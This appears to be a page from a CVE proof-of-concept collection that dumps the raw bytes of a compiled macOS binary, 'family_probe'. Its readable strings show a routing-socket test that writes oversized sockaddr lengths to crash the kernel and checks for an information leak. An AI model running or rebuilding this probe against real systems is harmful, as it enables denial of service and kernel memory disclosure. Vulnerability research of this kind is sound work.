5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / family_probe
���� H__PAGEZERO�__TEXT��__text__TEXT@X@�__stubs__TEXTXK�XK�__cstring__TEXTL<L__const__TEXT@P@P__unwind_info__TEXTPPXPP�__DATA_CONST�@�@__got__DATA_CONST���H__LINKEDIT�@��4��03�0�0h���P�� /usr/lib/dyld����>��ņ�]2 �*(�@,@@8L/usr/lib/libSystem.B.dylib&`�)h�����o���{��C���(�	@�@�����������w�(�
@�@���B�R������R!������@�	q�T�0����H0����1����2�����2���(�R��v�w@�@��������@��w�q�T�w@�	q�T�w@�
q�T�w@�q�T\��3����R�R�s��Bd4�g��s@�@�R�B�4�b��s@���R�B�4�]��s@�@�R�B�4�X��s@���R�B�4�S��s@� �R�B5�N�9�,5��������@��q�T@�R�R�BP6�?���@������l6�s���6�p� �Ra�R�R�O�z��O@��������+� ���/�a��+@����k��k@���RI
9�k@���RI	9�k@��|�RI��k@�)�RI
�q��g��g@�H�R(9�g@��R(9�|7�D��+@��g@���k@��
�R(y��@��k@�@y��Q��+@��/@��c���@�=��_��c@��3��_@��7��_@��T�C��K���K��7@��3@��K@���+�(��
�(	���7� ���@����|8���l9���R!�R�B�9�����:��@�R�/��R�B�:�����:�� �Ra�R�R��������@�������/@��@����W��W@���Rj
9�W@���Rj	9�W@�I��W@�)�RI
�q��S��S@�H�R(9�S@��R(9��;����@��S@���W@��
�R(y�@��W@�@y�����@��@��O��@����@��K��G��K@��#��K@���T�G@�
@��+��R�+��#@��+@���(��
�(��<����K@���T�G@�
@�H6��<�����R������@�
q
T�G@�
@��@�)�R)!�	
h4釀����ii8���@��5��R���@�
	u�@�	���@������@���(��D=����{��{@��R)�q�'��T�@��{@�		�	�}@��K@�	�觟�'��'@�H6�@��{@�		���
�i8���
�(���=�a��{@��{�����=�Y���=�U��@�I���>�N�����@��#���^�(�	@�@�	�`T0��#@����{A��o¨�_�o���{��C���#�(�	@�@�����������g� �Ra�R�R=������@�(�6�g@���(���>�$��c��+�����+@����_��_@���RI
9�_@���RI	9�_@�)�RI��_@�)�RI
���R��鷀�	��W��W@�H�R(9�W@��R(9��;����+@��W@��跀�A�����@�귀�(i*8��@��@�J(�*8��@�
u���@�q�T��R���@��@�	���@��_@�(y��@��_@�@y���c����O��g@�����@�����@��#��O@��'��O@������@��/��R�/��'@��#@��@��@��/@���-�,�+	�(
��
�(��0?����O@��-T���=���#�=��@��R��R�R����@��c��Ҭ��?��?@��T�c��;��?@��;@�
@9�;@�@����;@�
@���+���+�*	�(
���?����;@�
@��6�H�����R�o��k��k@�
qJT�;@�
@��k@�)�R)!�	
�4�o���c�ii8�g��g@�
	u�o@�	�o��k@��k���o���?@�	�T�o���c�ii8�c��c@���(����[����X��_��_@��c@��R)
k�+�JT�o@��_@�		�	�	}@��?@��R)
��+��T�_@��q觟�+��+@�H6�o@��_@�		�c�
�i8���
�(���=�1��_@��_�����=�%���@����^�(�	@�@�	�`T���#��{A��o¨�_�0�@��0�@��0�@��0�@��0�@��0�@��0�"@��0�&@��0�*@��0�.@��0�2@��0�6@��0�:@��0�>@��Usage: %s <test>
  1 = Different families with sa_len=16 (safe)
  2 = Repeated writes sa_len=32 (safe, check state corruption)
  3 = sa_len=33 crash with different families
  4 = Read back after safe write (info leak check)
=== Different families, sa_len=16 (safe range) ===
AF_UNSPECAF_INETAF_INET6AF_LINKAF_MAXAF_UNIX=== Repeated safe writes (sa_len=32) — check for state corruption ===
repeatSurvived 100 iterations

=== Now check if routing still works ===
1.1.1.1Post-stress RTM_GET 1.1.1.1: write=%zd read=%zd err=%d
=== sa_len=33 with different families (ALL WILL CRASH) ===
Testing AF_UNSPEC first...
AF_UNSPEC_33=== Read back genmask after safe write ===
write16
Now query the route and check if genmask appears in response:
8.8.8.8RTM_GET response: %zd bytes addrs=0x%x
GENMASK present in response! Parsing...
Genmask at offset %d: %02x
No GENMASK in response (rt->rt_genmask is NULL for this route)

SURVIVED
[%s] socket fail
[%s] fam=%d len=%d write=%zd e=%d read=%zd type=%u err=%d addrs=0x%x GENMASK_IN_RESP! gm_sa_len=%d gm_data=@
@@@XK@���������	�
���
��� P�@�8^t��������(___error___stack_chk_fail___stack_chk_guard___stdoutp_atoi_bzero_close_inet_addr_memset_printf_read_setsockopt_setvbuf_signal_socket_write_��_mh_execute_header	main
���
��F@%7JU[bit|������	

	

 __mh_execute_header_main___error___stack_chk_fail___stack_chk_guard___stdoutp_atoi_bzero_close_inet_addr_memset_printf_read_setsockopt_setvbuf_signal_socket_write_test_genmask����,�y���EX
�� �family_probe���	3����w��M�ld%q�?`�g��^
�7���&��h���li�������?Z��;�	*-?�x�ꑆ���p���x�b[z)xt��1�����g ������C�ae��}�����Xo��f����kOX�|�|z�ڽ�H�,����Xo��f����kOX�|�|z�ڽ�H�,����Xo��f����kOX�|�|z�ڽ�H�,�ˤ$7��z֯c�w`7��@P[�̂`�����X��D�x`^@W@�s�q�1�{�Z�����pL���Xo��f����kOX�|�|z�ڽ�H�,����Xo��f����kOX�|�|z�ڽ�H�,��H�w��#|ܖ�+Mk�s��W6,N��{�b<<���Xo��f����kOX�|�|z�ڽ�H�,����Xo��f����kOX�|�|z�ڽ�H�,����Xo��f����kOX�|�|z�ڽ�H�,����_�4YC�2m���V}n.�^����`�����lfamily_probe
subject.CN
*�H��cd��qq�<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>get-task-allow</key>
	<true/>
</dict>
</plist>
��qr10get-task-allow